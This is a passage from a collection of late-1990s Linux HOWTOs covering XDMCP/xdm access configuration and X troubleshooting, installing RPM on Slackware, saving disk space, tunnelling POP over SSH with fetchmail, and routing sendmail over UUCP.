  1. If you want to allow xdm to provide connecting XDMCP clients with an X session, whether by broadcast or not, you put the host name of the XDMCP client (the X server, remember?) by itself on a line in Xaccess. Actually, you can put a pattern on the line matching multiple hosts. Here are some valid patterns:

    xterm023.my.domain      # xterm023.my.domain can get an X session
*.my.domain             # any host in my.domain can get an X session
*                       # any host on Internet can get an X session (unsafe)

    Whether you should want to provide any host in Internet with an X session is arguable. Obviously, any service you provide is one more possible hole in your server's security. On the other hand, the server should be secure itself, and an XDMCP client asking for an X session has to provide a valid authentication before the X session is granted.

    Furthermore, the X session uses a remote X connection, which is not encrypted. The username/password pair for the login will be transported on this connection. People out there could be sniffing valid username/password combinations, just as with plain telnet connections. This is even worse then having xauth magic cookies sniffed.

    Make your own decisions here, but I recommend not enabling this service to the world unless you have a good reason.

  2. If you want to provide XDMCP clients (X -indirect xdmcpserver) with a chooser list (a list of hosts to choose from to get an X session), follow the client pattern with the keyword CHOOSER and the list of hosts that that client may choose from. Instead of the list of hosts to choose from, you can also specify BROADCAST; with this, xdm broadcasts on the network to query for servers willing to provide the session. Some valid examples:

    xterm023.my.domain      CHOOSER seshost1 seshost2
*.my.domain             CHOOSER BROADCAST
*                       CHOOSER extseshost1 extseshost2
    The first lets xterm023 choose between sessions on either seshost1 and seshost2. The second lets any host in my.domain choose from any host that is willing to provide an X session. The third lets any host out there choose between a session on extseshost1 or etsseshost2.

    It is probably not a good idea to do * CHOOSER BROADCAST. This will allow hosts outside your network to get information about the hosts inside your network. You probably don't want to pass out such information. In fact, allowing a chooser to any outside host is probably not useful anyway, since you should not be enabling arbitrary direct connections either.

When you have reconfigured xdm, send it the HUP signal to make it re-read its configuration files.

# kill -HUP pid-of-xdm
#

9.4 XDMCP Technically

Technically, as far as I can see, XDMCP is not entirely what you would expect from the above description. xdm can redirect connecting X servers to another place, and uses this trick to implement the chooser. So, the choosing happens inside xdm, not in the X server, although the chooser list is represented on the X server's display. This is also why the X server's -once option does not combine with -indirect.


Remote X Apps mini-HOWTO: Troubleshooting

 Next Previous Contents

10. Troubleshooting

The first time you try to run a remote X application, it usually does not work. Here are a few common error messages, their probable causes, and solutions to help you on your way.

xterm Xt error: Can't open display:

There is no DISPLAY variable in the environment, and you didn't tell the application with the -display flag either. The application assumes the empty string, but that is syntactically invalid. To solve this, be sure that you set the DISPLAY variable correctly in the environment (with setenv or export depending on your shell).

_X11TransSocketINETConnect: Can't connect: errno = 101
xterm Xt error: Can't open display: love.dial.xs4all.nl:0

Errno 101 is ``Network is unreachable''. The application could not make a network connection to the server. Check that you have the correct DISPLAY set, and that the server machine is reachable from your client (it should be, after all you're probably logged in to the server and telnetting to the client).

_X11TransSocketINETConnect: Can't connect: errno = 111
xterm Xt error: Can't open display: love.dial.xs4all.nl:0

Errno 111 is ``Connection refused''. The server machine you're trying to connect to is reachable, but the indicated server does not exist there. Check that you are using the right host name and the right display number.

Alternatively, it is possible that the X server was configured not to listen to the usual TCP port. To find out if this is the case, see if the X server is started with the -nolisten tcp argument, and if so, remove it.

Xlib: connection to ":0.0" refused by server
Xlib: Client is not authorized to connect to Server
xterm Xt error: Can't open display: love.dial.xs4all.nl:0.0

The client could make a connection to the server, but the server does not allow the client to use it (not authorized). Make sure that you have transported the correct magic cookie to the client, and that it has not expired (the server uses a new cookie when a new session starts).


RPM+Slackware Mini-Howto

Dave Whitinger, dave@whitinger.net

v1.3, 13 April 1998

This document describes how to get RPM installed and working properly under Slackware. The information contained herein, however, is probably applicable to any Linux distribution.

1. Introduction

2. Obtaining the software

3. Installing the software

4. Bugs (Important!)

5. Acknowledgements

6. Copyright


RPM+Slackware Mini-Howto : Introduction

 Next Previous Contents

1. Introduction

RPM is the "Red Hat Package Manager" and is the heart of the Red Hat Linux distribution. It's most basic functionality is to install and de-install packages.

This document is geared toward installing RPM on a slackware system using an Intel processor, but the information contained herein should be applicable to any distribution.

The latest version of this HOWTO is always available at http://www.threepoint.com/HOWTO/RPM+Slackware.html

For further reading, consult the RPM-HOWTO (available at your neighborhood LDP mirror). Also, consider buying a copy of the excellent book, Maximum RPM, by Ed Bailey of Red Hat Software, Inc.


RPM+Slackware Mini-Howto : Obtaining the software

 Next Previous Contents

2. Obtaining the software

The newest release of RPM is always available from:

ftp.rpm.org/pub/rpm/dist/latest

As of this writing, the latest version was

rpm-2.4.12-1.i386.tar.gz

Notice the .i386 section. This means that it is a binary package for the Intel architecture, ready to untar and run. Make sure that the file you download has the i386 in the filename, otherwise the following instructions will not work.


RPM+Slackware Mini-Howto : Installing the software

 Next Previous Contents

3. Installing the software

The easiest way to install RPM is to use Slackware's native package manager.

You must be root to install RPM.

        installpkg /home/dave/rpm-2.4.12-1.i386.tar.gz

Of course, replace the /home/dave with the correct path for the filename.

(NOTE!) If that fails, simply untar the file with these commands:

        cd / ; tar zxvpf /home/dave/rpm-2.4.12-1.i386.tar.gz

Next, you have to create a directory called "rpm" under the /var/lib tree.

mkdir /var/lib/rpm

Now type 'rpm --initdb' to initialize the rpm database.

If everything has gone correctly up to this point, you will have a rpm-capable system! Test it out by grabbing any rpm file and installing it with 'rpm -Uvh filename.rpm'


RPM+Slackware Mini-Howto : Bugs (Important!)

 Next Previous Contents

4. Bugs (Important!)

Be aware that on several versions of RPM, the tar file has been created using incorrect permissions. As soon as you install RPM, check your permissions of various directories (/bin, /usr, etc). If the permissions are of 700 (drwx------), then you have been infected by the bug.

To fix these permissions problems, run this shell script:

#!/bin/sh

chmod 755 /bin
chmod 755 /usr
chmod 755 /usr/bin
chmod 755 /usr/doc
chmod 755 /usr/lib
chmod 755 /usr/man
chmod 755 /usr/man/man8
chmod 755 /usr/share
chmod 755 /usr/share/locale
chmod 755 /usr/share/locale/de
chmod 755 /usr/share/locale/de/LC_MESSAGES
chmod 755 /usr/share/locale/pt-br
chmod 755 /usr/share/locale/pt-br/LC_MESSAGES
chmod 755 /usr/share/locale/sv
chmod 755 /usr/share/locale/sv/LC_MESSAGES
chmod 755 /usr/src

Feel free to E-Mail me if you have any questions about this.


RPM+Slackware Mini-Howto : Acknowledgements

 Next Previous Contents

5. Acknowledgements

I recognize Red Hat Software, Inc. and Patrick Volkerding for their fine Linux distributions.

Thanks to Milan Kopacka (mkop5230@ss1000.ms.mff.cuni.cz) for bringing to my attention a better way to install RPM (installpkg).


RPM+Slackware Mini-Howto : Copyright

 Next Previous Contents

6. Copyright

This HOWTO is copyright 1998 by Dave Whitinger, and is a free document. You can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or any later version.


Saving Space mini-HOWTO

By Guido Gonzato, mailto:guido@ibogeo.df.unibo.it

v1.0.1, 7 April 1999

This mini-HOWTO gives you directions for squeezing your Linux installation into the least possible space. It's particularly aimed at notebook users.

1. Introduction

2. Software requirements

3. The procedure

  • 3.1 Removing the Kernel Sources
  • 3.2 Pruning Out Applications
  • 3.3 Stripping Binaries
  • 3.4 Compressing with upx
  • 3.5 Gzipping around

4. A Real Life Example

5. The End

  • 5.1 Copyright
  • 5.2 Disclaimer


Saving Space mini-HOWTO : Introduction

 Next Previous Contents

1. Introduction

I've got a notebook I installed Linux on, beside Windows 95 that was pre--installed. I squeezed the Windows partition to 500 Mb, making space for a 240 Mb Linux one. Small though the latter may seem, I've managed to install a fairly complete Linux system on it, based on Red Hat 4.1 and some magic to save as much space as possible.

If you're in need for space, the indications you'll find in the following sections will free up a considerable chunk of hard disk. The only caveat I'm giving you is: don't blame me if something goes wrong! We'll be using a couple of programs that worked fine for me, but are inherently dangerous. You've been warned.


Saving Space mini-HOWTO : Software requirements

 Next Previous Contents

2. Software requirements

You need:

  • a fully working Linux system (any version should be OK);
  • the common gzip compression utility, or alternatively bzip2 that you find on ftp://sunsite.unc.edu:/pub/Linux/utils/compress; this tool compresses better than gzip, but it's also a wee bit slower and consumes a lot of memory;
  • the upx executable compressor, whose home page is at http://cdata.tvnet.hu/~ml/upx.html and http://wildsau.idv.uni-linz.ac.at/mfx/upx.html;
  • the zlibc package, available on ftp://sunsite.unc.edu:/pub/Linux/libs/compression. It's called zlibc-X.X.tar.gz, where X.X is the latest version.

There are other executable compressors. One is gzexe (forget it), while tcx was probably the best before upx became available; yet another is tzx, in theory better than tcx. The thing is, it screwed everything up when I tried it on a spare PC, though I'm not sure if I did something wrong. You had better stick with upx: it's reliable, efficient, and very handy.

There are kernel patches that provide transparent file system compression a la Stacker, but as of this writing none of them has yet a reputation for stability and reliability. For safety's sake, steer clear.


Saving Space mini-HOWTO : The procedure

 Next Previous Contents

3. The procedure

3.1 Removing the Kernel Sources

The kernel sources take up more than 20 Mb, and you may want to remove them. If so, I suggest that you compile a new kernel that is tailored to your machine once and for all, then get rid of the sources. Take care, though.

I don't recommend that you remove the kernel sources unless you are sure that your machine is properly configured. Besides, you need the kernel #includes to compile C programs. Think twice!

If you do decide so, do not remove the include/linux tree unless you know you'll never compile applications on your machine.

3.2 Pruning Out Applications

Now, decide which applications you really need. Some may prove redundant: for instance, are you sure you can't live without emacs? You could use jed instead.

It's up to you to decide what you want to keep. Some general points:

  • gcc is a fairly large package. It's needed to recompile the kernel and all the applications for which there are no pre--built Linux binaries. It's also needed, of course, if you write your own C or Fortran (with f2c or g77) programs; consider your needs before removing it. Other compilers like lcc are fine, but not up to gcc level. I suggest that you keep it;
  • X11 is awfully large, but it's a nice thing to have. If you decide you can't give it up, at least try to make do with as little as necessary: only the right X server, one simple window manager, only one xterm, no 100 dpi fonts, and so on;
  • TeX and accompanying packages are very large indeed. Giving up LaTeX and sticking to plain TeX saves a lot of space; giving up X11 previewers like xdvi and ghostview is possible if you use dvitty, dvivga and some such. Eliminating the need for X11 dviware could even make X11 redundant;
  • games are never ``necessary''.

3.3 Stripping Binaries

Let's start reducing the size of binaries. Move to /usr/bin and issue the command

machine:/usr/bin# strip *

which will do away with symbols embedded in binaries. Repeat this step in /usr/X11R6/bin/ and other directories containing executables you may have (don't forget to locate TeX's and gcc's binaries), but do not run it under /sbin, /bin, or /usr/sbin/ if you value your installation!

3.4 Compressing with upx

First, install upx and read its documentation. Then go to /usr/bin and run it with the command upx *; it will compress all executables, including suid ones (tcx wouldn't). Repeat this step in other directories as seen above.

Remember to compress the executables whenever you install a new package!

3.5 Gzipping around

There are lots of other files that can be compressed once and for all. Let's start with /usr/doc/; move to this directory and issue the command

machine:/usr/doc# find . -type f -exec gzip -9 {} \; 2> /dev/null

Remember to compress the docs whenever you install a new package!

Repeat this step in the directory containing the documentation for TeX (on my system, /usr/lib/texmf/texmf/doc/. If you're really sure, remove these directories altogether.

Now, install zlibc and compile it. If your system is like mine, the compilation process will abort complaining about a missing (static) libc. Never mind; you'll find a file called uncompress.o that is what's needed. Move it to /usr/local/lib/ and add this line to your /etc/profile:

export LD_ELF_PRELOAD=/usr/local/lib/uncompress.o

Now, you can compress with gzip not only documentation, but also data files: the applications that use them will be able to use them nonetheless. In theory, the trick should work with most applications, but in practice your degree of success may vary. Mine was rather unimpressive.


Saving Space mini-HOWTO : A Real Life Example

 Next Previous Contents

4. A Real Life Example

This is what I got applying the above procedure to one of my machines. Before the treatment, df reported I used 398,798 1024--blocks:

  • I didn't remove the kernel sources and the kernel headers;
  • I uninstalled several applications and all of the games, but I left X11, X11 development, C and Fortran development, Tcl/Tk, networking tools, and a few other standard applications. df reported 244,668 used blocks;
  • I ran upx on /usr/bin, /usr/X11R6/bin, /usr/lib/texmf/bin/i586-linux, and /usr/lib/gcc-lib/i386-linux/2.7.2.1. 226,270 used blocks;
  • I compressed the documentation under /usr/doc and /usr/lib/texmf/texmf/doc: 198,745 used blocks.

To sum up, I started with 398,798 blocks and finished with 198,745. Think of the stuff you can shove in those 200,000 spared blocks! I would have saved even more if I had used bzip2 instead of gzip.

On average, if you are careful from the beginning and install only the necessary applications, compressing executables and documents will save you some 20 Mb. On a notebook, this can be a lifesaver.


Saving Space mini-HOWTO : The End

 Next Previous Contents

5. The End

5.1 Copyright

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at tjbinum@sunsite.unc.edu via email.

5.2 Disclaimer

``Saving Space mini-HOWTO''was written by Guido Gonzato, REMOVE_MEguido@ibogeo.df.unibo.it.

This document is provided ``as is''. I put great effort into writing it as accurately as I could, but you use the information contained in it at your own risk. In no event shall I be liable for any damages resulting from the use of this work.

Feedback is welcome. For any requests, suggestions, flames, etc., feel free to contact me.

Enjoy Linux and life,

Guido =8-)


Secure POP via SSH mini-HOWTO

Manish Singh, <yosh@gimp.org>

v1.0, 30 September 1998

This document explains how to set up secure POP connections using ssh.

1. Introduction

2. The Basic Technique

  • 2.1 Setting up Port Forwarding
  • 2.2 Testing it out

3. Using it With Your Mail Software

  • 3.1 Setting up fetchmail
  • 3.2 Automating it all
  • 3.3 Not using fetchmail

4. Miscellany

  • 4.1 Disclaimer
  • 4.2 Copyright
  • 4.3 Acknowledgements


Secure POP via SSH mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

Normal POP mail sessions, by their very nature, are insecure. The password goes across the network in cleartext for everyone to see. Now, this may be perfectly acceptable in a trusted or firewalled environment. But on a public network, such as a university or your run-of-the-mill ISP, anyone armed with a simple network sniffer can grab your password right off the wire. This is compounded by the fact that many people set their computers to check for mail at regular intervals, so the password is sent out quite frequently, which makes it easy to sniff.

With this password, an attacker can now access your email account, which may have sensitive or private information. It is also quite common that this password is the same as the user's shell account, so there is the possibility for more damage.

By doing all POP traffic using an encrypted channel, nothing goes in cleartext over the network. We can use ssh's diverse methods of authentication, instead of a simple plaintext password. That is the real point of using this method: not because we get encrypted content (which is futile at this point, since it's probably gone unencrypted over several networks already before reaching your mailbox; securing those communications is the job of GNU Privacy Guard or PGP, not ssh), but the secure authentication.

There are other methods of achieving secure authentication already, such as APOP, KPOP, and IMAP. However, using ssh has the advantage that it works with normal POP configurations, without requiring special client (not all mail clients support advanced protocols) or server support (except for sshd running on the server). You mail provider may be unable or unwilling to use a more secure protocol. Besides, by using ssh you can compress the traffic too, which is a nice little extra for people with slow connections.


Secure POP via SSH mini-HOWTO: The Basic Technique

 Next Previous Contents

2. The Basic Technique

This technique relies on a fundamental feature of ssh: port forwarding

There are many variations on this theme, which depend on your desired mail setup. They all require ssh, which is available from http://www.ssh.fi/ and mirrors. RPMs are available at ftp://ftp.replay.com/pub/crypto/ and Debian packages are available at ftp://non-us.debian.org/debian-non-US/ (and their respective mirrors).

2.1 Setting up Port Forwarding

To start port forwarding, run the following command:

ssh -C -f popserver -L 11110:popserver:110 sleep 5

Let's take a closer look at that command:

ssh

The ssh binary itself, the magic program that does it all.

-C

This enables compression of the datastream. It's optional, but usually useful, especially for dialup users.

-f

Once ssh has done authentication and established port forwarding, fork to background so other programs can be run. Since we're just using the port forwarding features of ssh, we don't need a tty attached to it.

popserver

The POP server we're connecting to.

-L 11110:popserver:110

Forward local port 11110 to port 110 on the remote server popserver. We use a high local port (11110) so any user can create forwardings.

sleep 5

After ssh has forked itself into the background, it runs a command. We use sleep so that the connection is maintained for enough time for our mail client to setup a connection to the server. 5 seconds is usually sufficient time for this to happen.

You can use most other options to ssh when appropriate. A common setting may be a username, since it might be different on the POP server.

This requires sshd running on the remote server popserver. However, you do not need to have an active shell account there. The time it takes to print a message ``You cannot telnet here'' is enough to setup a connection.

2.2 Testing it out

Once you've figured out the details command to run to establish port forwarding, you can try it. For example:

$ ssh -C -f msingh@popserver -L 11110:popserver:110 sleep 1000

popserver is the ol' POP server. My username on my local machine is manish so I need to explicitly specify the username msingh. (If your local and remote usernames are the same the msingh@ part is unnecessary.

Then it prints:

msingh@popserver's password:

And I type in my POP password (you may have different shell and POP passwords though, so use your shell one). Now we're done! So we can try:

$ telnet localhost 11110

which should print something like:

QUALCOMM POP v3.33 ready.

Woohoo! It works! The data is sent out over the network encrypted, so the only cleartext is over the loopback interfaces of my local box and the POP server.


Secure POP via SSH mini-HOWTO: Using it With Your Mail Software

 Next Previous Contents

3. Using it With Your Mail Software

This section describes setting up your POP client software to use the ssh forwarded connection. It's primary focus is fetchmail (ESR's excellent mail-retrieval and forwarding utility), since that is the most flexible software I have found for dealing with POP. fetchmail can be found at http://www.tuxedo.org/~esr/fetchmail/. It will do you a great service to read the excellent documentation that comes with fetchmail.

3.1 Setting up fetchmail

The following is my .fetchmailrc

defaults
        user msingh is manish
        no rewrite

poll localhost with protocol pop3 and port 11110:
        preconnect "ssh -C -f msingh@popserver -L 11110:popserver:110 sleep 5"
        password foobar;

Pretty simple, huh? fetchmail has a wealth of commands, but the key ones are the preconnect line and the poll option.

We're not connecting directly to the POP server, but instead localhost and port 11110. The preconnect does the forwarding each time fetchmail is run, leaving open the connection for 5 seconds, so fetchmail can make it's own connect. The rest fetchmail does itself.

So each time you run fetchmail, you're prompted for your ssh password for authentication. If you run fetchmail in the background (like I do), it's inconvenient to have to do that. Which brings us to the next section.

3.2 Automating it all

ssh can authenticate using many methods. One of these is an RSA public/private key pair. You can generate an authentication key for your account using ssh-keygen. An authetication key can have a passphrase associated with it, or the passphase can be blank. Whether you want a passphrase depends on how secure you think the account you are using locally is.

If you think your machine is secure, go ahead and have a blank passpharase. Then the above .fetchmailrc works just by running fetchmail. You can then run fetchmail in daemon mode when you dial up and mail is fetched automatically. You're done.

However, if you think you need a passphrase, things get more complex. ssh can run under control of an agent, which can register keys and authenticate whatever ssh connections are made under it. So I have this script getmail.sh:

#!/bin/sh
ssh-add
while true; do fetchmail --syslog --invisible; sleep 5m; done

When I dialup, I run:

$ ssh-agent getmail.sh

This prompts me for my passphrase once, then checks mail every 5 minutes. When the dialup connection is closed, I terminate ssh-agent. (This is automated in my ip-up and ip-down scripts)

3.3 Not using fetchmail

What if I can't/don't want to use fetchmail? Pine, Netscape, and some other clients have their own POP mechanisms. First, consider using fetchmail! It's far more flexible, and mail clients shouldn't be doing that kind of stuff anyway. Both Pine and Netscape can be configured to use local mail systems.

But if you must, unless your client has a preconnect feature like fetchmail, you're going to have to keep the ssh port forward active for the entire time you're connected. Which means using sleep 100000000 to keep the connection alive. This might not go over well with your network admins.

Secondly, some clients (like Netscape) have the port number hardcoded to 110. So you need to be root to do port forwarding from privledged ports. This is also annoying. But it should work.


Secure POP via SSH mini-HOWTO: Miscellany

 Next Previous Contents

4. Miscellany

4.1 Disclaimer

There is no guarantee that this document lives up to its intended purpose. This is simply provided as a free resource. As such, the author of the information provided within cannot make any guarentee that the information is even accurate. Use at your own risk.

Cryptographic software such as ssh may be subject to certain restrictions, depending on where you live. In some countries, you must have a license to use such software. If you are unsure of your local laws, please consult someone who is familiar with your situation for more information.

The use of the information provided in this document is most likely not anticipated by your mail service provider. The author does not encourage the abuse and misuse of network services, and provides this document for informational purposes only. If you are in doubt about whether the use of these techniques falls within the service agreement of your mail provider, please clear that up beforehand.

4.2 Copyright

This document is copyright © 1998 Manish Singh <yosh@gimp.org>

Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to copy and distribute modified versions of this document under the conditions for verbatim copying, provided that this copyright notice is included exactly as in the original, and that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this document into another language, under the above conditions for modified versions.

Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All trademarks used in this document are acknowledged as being owned by their respective owners.

4.3 Acknowledgements

Special thanks goes to Seth David Schoen <schoen@uclink4.berkeley.edu>, who enlightened me in the ways of ssh port forwarding.


Sendmail + UUCP HOWTO

Author: Jamal Hadi Salim (jamal@glcom.com or hadi@cyberus.ca)

History:

  • Initial edition July/96: works only with non-bind edition of sendmail
  • Oct 01 /96: works with the redhat supplied binary
  • Oct 07 /96: added/modified a tip on how to compile non-bind sendmail
  • Oct 25 /96: added/modified a tip on how to keep sendmail getHostbyAddr() happy via a dummy /etc/hosts entry
  • Mar 15 /97: I am amazed at the response/feedback i am receiving so i decided to refine this further. Fixed some small errors; added diagram + references.
  • Oct 25/97: Htmlise+ add blurb on DNS capable machines

    • After finally settling down and properly reading TFM (the Bat Book, to be precise) i have solved the Caramilk secret! The steps below have been tested with the binary supplied by RedHat. Perhaps i should send this tip to the maintainer of the Sendmail FAQ too since there is absolutely no mention of UUCP interworking with sendmail there.

    What this Document tries to show you

    How to setup a single machine, reffered to as me.com in the example, with no direct access to the internet to route mail for you via sendmail and UUCP to a 'smarter host' eg your ISP.
    Optionally you can configure this machine to feed other machines i.e you are their 'smart' host or gateway.

    What this Document does not tell you

    I have been receiving incredible number of questions regarding topics which are beyond the focus of this HOWTO. The purpose of this document is not to describe them so please try not send me any questions on the following:

    a) How to setup UUCP.

    Refer to many fine references on this, including:
  • UUCP HOWTO (Vince Skahan, )
  • Using and managing UUCP (Ed Ravin et al -- publisher O'reilly) which i think is the best authority on UUCP
  • Linux Network Administrator Guide (Olaf Kirch)

    • b) how to setup DNS.

    Refer to the many fine references on this, including:
  • Caching named mini howto (Nicolai Langfeldt)
  • The bat book (Sendmail;Costalles, Allman, Rickert;publisher O'reilly)
  • DNS and BIND (Publisher O'reilly)
  • TCP/IP Network Administration (Hunt, Craig;Publisher O'reilly)
  • Linux Network Administrator Guide (Olaf Kirch)
  • sendmail Theory and Practice (Avolio and Vixie; publisher Digital press)

    • c) how to setup databases (other than the mailertable) to work with sendmail.

    Refer to the many fine references on this, including:
  • The bat book (Sendmail;Costalles, Allman, Rickert -- publisher O'reilly)
  • TCP/IP administration (Publisher O'reilly)
  • Sendmail Theory and Practice (Avolio and Vixie; publisher Digital press)
  • Docs bundled with sendmail d) how to write or modify rulesets or mailers.
  • All the above references in c)

    • You can also find help on the following newsgroups:
    comp.mail.sendmail
    comp.mail.uucp
    comp.os.linux.networking
    IRC channels
    #linux, #unix

    THE SETUP

    This is for a system, hypothecally named me.com, whose mail is sent out only via UUCP. mysmarthost is the ISPs hostname as set up in the uucp sys file and me.com is the hostname we use or are known by in the MX records on the internet.
    mysmarthost hooks to the internet. We really dont care how it does it, we just know it knows how to get us there.
    me.com, whose setup we describe in the example, feeds sites down.com and system1.org and their subnodes. me.com connects to down.com via TCP/IP and connects to system1.org via raw UUCP using a phone line.
    The setup description is shown below:
            ------------------------
        |                       |
        |     Internet          |
        |                       |
        -----------------------
                    |
                    | PPP/dedicated line running TCP-IP
                    |
                -------------
                |            |
                |mysmarthost | Authoritative name server for
                |            | *.me.com, *.down.com, *.system1.org
                |            |
                --------------
                    |
                    | UUCP via a phone line receive for
                    | system1.org, *.system1.org,*.down.com, down.com
                    | as well as me.com and *.me.com
                 ------------
                | * *****  *  |
   ------------ | * me.com *  | ------
                | *        *  |      |
   |            | * *****  *  |      |
   |             ------------        |
   |UUCP via phone line              | uucp via TCP/IP
   |                                 |
 -----------                  -----------
|           |                |           |
|system1.org|                | down.com  |-------
|           |                |           |      |
 ----------                  ------------       |
     |                                          |
     |                                          |
     |                                          | LAN: smtp to nodes
     | UUCP phone line
     |                                          |
-----------                             -------------
|         |                             |           |
|system1's|                             | down's    |
|subnodes |                             | LAN       |
|         |                             ------------
----------

    pre-requisites

    1) If you are already running DNS or have a pointer to a DNS server (in your /etc/resolv.conf) and are on a live connection to the net then skip this part. You are safe. You dont have to do any 'smart' thing skip to 2)
    If you are on a machine using uucp for mail then you dont really need to compile bind/resolv into sendmail;

    How to survive name canonicalization on a stand-alone machine with no DNS

    PART I
    If you get a pre-compiled sendmail with BIND in it you can still live with it (As is the case with Redhat supplied sendmail).

    a) Refer to my solution for this based on the m4 file described (my favorite). Try to use this option unless you really insist on b) or c) below OR

    b)If you talk to me i could supply you with a non-BIND compiled version (8.8.5). Perhaps RedHat should consider supplying two sendmail binaries (like slakware) One with BIND and the other with no BIND. OR

    c) The quickest solution to get sendmail with no bind is to edit src/conf.h lines below to read as i have shown:

    # ifndef NAMED_BIND conf.h:# define NAMED_BIND 0 /* use Berkeley Internet Domain Server */

    PART II:
    Sendmail would however normally insist on doing name look ups to resolve the host part using gethostbyaddr() for each email it sends (even if you tell it not to canonify names).

    a) use an RFC1597 IP address (10.0.0.0-10.255.255.255, 172.16.0.0-172.31.255.255, 192.168.0.0-192.168.255.255)
    Edit /etc/hosts and add the following as a sample for the host myhost
    10.0.0.1 myhost.me.com myhost or
    b) If you use NIS (and NIS is compiled into sendmail as seems to be the case in Redhat. ) make sure the /etc/nsswitch.conf file contains:
    hosts: files dns and in /etc/hosts and add the following as a sample for the host myhost [again using RFC1597 IP addressing scheme]
    10.0.0.1 myhost.me.com myhost

    NOTE: ---- In both a) and b) above it is critical that you list the long (fully qualified) in the /etc/hosts file used. i.e the line should read 10.0.0.1 myhost.me.com myhost and NOT 10.0.0.1 myhost you will also need to define the sendmail $w macro to hold myhost.me.com
    add the Following line to your /etc/sendmail.cf after it is generated Djmyhost.me.com (or you can use MASQUAREADE_AS(myhost.me.com) in the .mc below)

    NOTE!!!!! myhost as a domain name is given as an example; you dont have to use it as is. Pick your own hostname if you dont have one already.

    2) Ensure that you have makemap and it is capable of supporting hash and or the more common dbm format or even btree format (The Redhat version does not support dbm). Makemap is normaly distributed with sendmail.

    SETUP (the mc file)

    I) create your .mc file using your favorite editor; i'll call this file my.mc

    a) No DNS -- standalone

    include(`../m4/cf.m4')
    VERSIONID(`me.com's setup with uucp created by xxxx --no dns ')
    dnl OSTYPE(linux)
    FEATURE(nodns)dnl
    FEATURE(nocanonify)dnl
    FEATURE(always_add_domain)dnl
    FEATURE(mailertable, hash /etc/mailertable)dnl
    MAILER(local)dnl
    MAILER(smtp)dnl
    MAILER(uucp)
    define(`SMART_HOST', uucp-dom:mysmarthost)

    Let's dissect this:

  • include(`../m4/cf.m4') requests for the m4 macro found in ../m4/cf.m4 to be include to resolve some things
  • VERSIONID(`me.com's setup with uucp created by xxxx')dnl This is used to distinguish the different versions of .cf file you might end up creating.
  • OSTYPE(linux) This is used to define/redefine linux specific stuff. It is safe to have it here.
  • FEATURE(nodns)dnl This says we dont have a DNS server (so in effect we are using uucp only for mail. Sendmail must be compiled not to use bind) This is now obsolete. I will let it stay here just in case you use an older version of sendmail.
  • FEATURE(nocanonify)dnl This says Don't pass addresses to $[ ... $] for canonification. Normally if you have BIND compiled in sendmail would try and expand the alias/IP address to a canonical name using DNS. You dont wanna do this if all you have are feeds which connect to you via UUCP i.e you are a stand alone.
  • FEATURE(always_add_domain)dnl This adds the local domain host name even on locally delivered mail Not necessary i just like it; This might not be a safe feature since spammers, with proper setup conditions, can abuse you.

    • me.com is not connected to the net via tcp/ip so it is safe
  • FEATURE(mailertable, hash /etc/mailertable)dnl the file /etc/mailertable is going to be a hash database where we will store routing information of certain sites. If you dont have anyone who you feed uucp to then you dont need this. More on this later. If you wanted to use the dbm format you would have FEATURE(mailertable, dbm /etc/mailertable)dnl If you wanted to use the btree format you would have FEATURE(mailertable, btree /etc/mailertable)dnl
  • MAILER(local)dnl MAILER(smtp)dnl MAILER(uucp) These are the mailers we use.
  • define(`SMART_HOST', uucp-dom:mysmarthost) Our smart host is our ISP who is defined in the uucp sys file as system mysmarthost. Any messages that we cant handle (i.e ones for domains or mailers we dont understand) will be passed on to our smarthost/ISP to figure out. note we use uucp-dom as the uucp mailer. This particular mailer uses smtp rewriting rules.

    • b) DNS on

    include(`../m4/cf.m4')
    VERSIONID(`me.com's setup with uucp created by xxxx --dns enabled')dnl
    OSTYPE(linux)
    FEATURE(always_add_domain)dnl
    FEATURE(mailertable, hash /etc/mailertable)dnl
    MAILER(local)dnl
    MAILER(smtp)dnl
    MAILER(uucp)
    define(`SMART_HOST', uucp-dom:mysmarthost)

    II) create your sendmail.cf file

    a) backup your old /etc/sendmail.cf file
    b) overwrite the sendmail.cf with the new one: m4 my.mc > /etc/sendmail.cf
    c) verify that the sendmail.cf file was correctly created based on your specifications.
    Some of the gotchas that i came across were: - missing uucp-dom mailer This was because i didnt have the smtp mailer entry. Actually, i understand it is important to have it defined before the uucp

    III) create your /etc/mailertable

    if you dont have uucp sites feeding off you skip this step

    a) create/edit the file /etc/mailertable

    sample /etc/mailertable

    system1.org uucp-dom:system1
    .system1.org uucp-dom:system1
    down.com uucp-dom:down
    up.down.com error: Host is unknown at me.com
    .down.com uucp-dom:down
    .me.com error: Host unknown at me.com

    This says anything that is addressed to system1.org or to *.system1.org that we receive will be sent using the uucp-dom mailer and be delivered to system1 (defined in the the uucp sys file) in other words we are doing the mail routing for *.system1.org ; similar for down.com and its subnodes except for the additional filtering; we bounce back any mail for down's subnode up.down.com using sendmail's built-in error mailer with the message "Host is unknown at me.com"; This is because we have been asked to do this by the admin at down.com. To bounce unknown subdomains to us we use the last line in the mailertable (which is what all unknown nodes default to).
    b) create the database with makemap

    if you use hash:
    makemap hash /etc/mailertable < /etc/mailertable
    if you use dbm:
    makemap dbm /etc/mailertable </etc/mailertable
    if you use btree:
    makemap btree /etc/mailertable </etc/mailertable

    do this every time you change the file.

    IV) restart sendmail

    V) test sendmail

    i) sendmail -bv user@destination
    ii) using sendmail -bt and enter various addresses using 3,0
    ruleset to see where they end up and the various rulesets and cf walks taken.

    You are set!

    TODO

    1) Add info on setting up system down.com (so as to show how to
    take care of those smtp nodes)
